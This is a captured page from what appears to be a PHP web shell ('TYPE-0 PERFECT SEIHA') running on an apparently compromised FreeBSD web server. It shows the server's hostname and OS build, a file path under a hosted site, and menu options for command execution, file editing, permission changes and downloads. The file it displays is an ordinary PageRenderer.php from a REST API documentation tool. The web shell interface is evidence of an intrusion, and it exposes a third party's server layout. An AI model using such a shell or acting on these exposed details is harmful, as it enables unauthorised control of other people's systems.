TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
www
api
1
root
app
RestApi
src
Core
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/www/api/1/root/app/RestApi/src/Core/PageRenderer.php
<?php /** * Copyright (c) Jan Pospisil (http://www.jan-pospisil.cz) */ namespace Japos\Rest\ApiGen\Core; use Latte\Engine; use Nette\Utils\Strings; /** * PageRenderer * @author Jan Pospisil */ class PageRenderer extends \Nette\Object { private $basePath; private $url; private $title; public function __construct($basePath, $url, $title){ $this->basePath = $basePath; $this->url = $url; $this->title = $title; } public function renderHomepage(array $pages){ $latte = new Engine(); return $latte->renderToString(__DIR__.'/homepage.latte', array( 'pages' => $pages, 'title' => $this->title, 'basePath' => $this->basePath, 'url' => $this->url )); } public function renderPage(Page $page, array $pages){ $latte = new Engine(); $latte->addFilter('prettyJson', function($s){ $s = self::escapePrettyJson($s); return json_encode($s, JSON_PRETTY_PRINT); }); $latte->addFilter('schar', function($s){ return strtr($s, ClassType::$map); }); return $latte->renderToString(__DIR__.'/page.latte', array( 'pages' => $pages, 'title' => $this->title, 'basePath' => $this->basePath, 'url' => $this->url.$page->path, 'page' => $page, 'method' => $page->getMethod() )); } public static function escapePrettyJson(array $array){ foreach($array as $key => $val){ if(is_array($val)){ $array[$key] = self::escapePrettyJson($val); } else { $array[$key] = strtr($val, array('/' => '/')); } } return $array; } }
Crotin
Name
Size
Permissions
Modified
User/Group
homepage.latte
1576
0644
2016-01-11 22:55:12
Unknown/Unknown
FileCreator.php
553
0644
2016-01-11 22:55:12
Unknown/Unknown
PageLoader.php
878
0644
2016-01-11 22:55:12
Unknown/Unknown
Page.php
1308
0644
2016-01-11 22:55:12
Unknown/Unknown
page.latte
2090
0644
2016-01-11 22:55:12
Unknown/Unknown
Parameter.php
513
0644
2016-01-11 22:55:12
Unknown/Unknown
PageRenderer.php
1501
0644
2016-01-14 17:15:52
Unknown/Unknown
ClassType.php
469
0644
2016-01-14 17:15:52
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin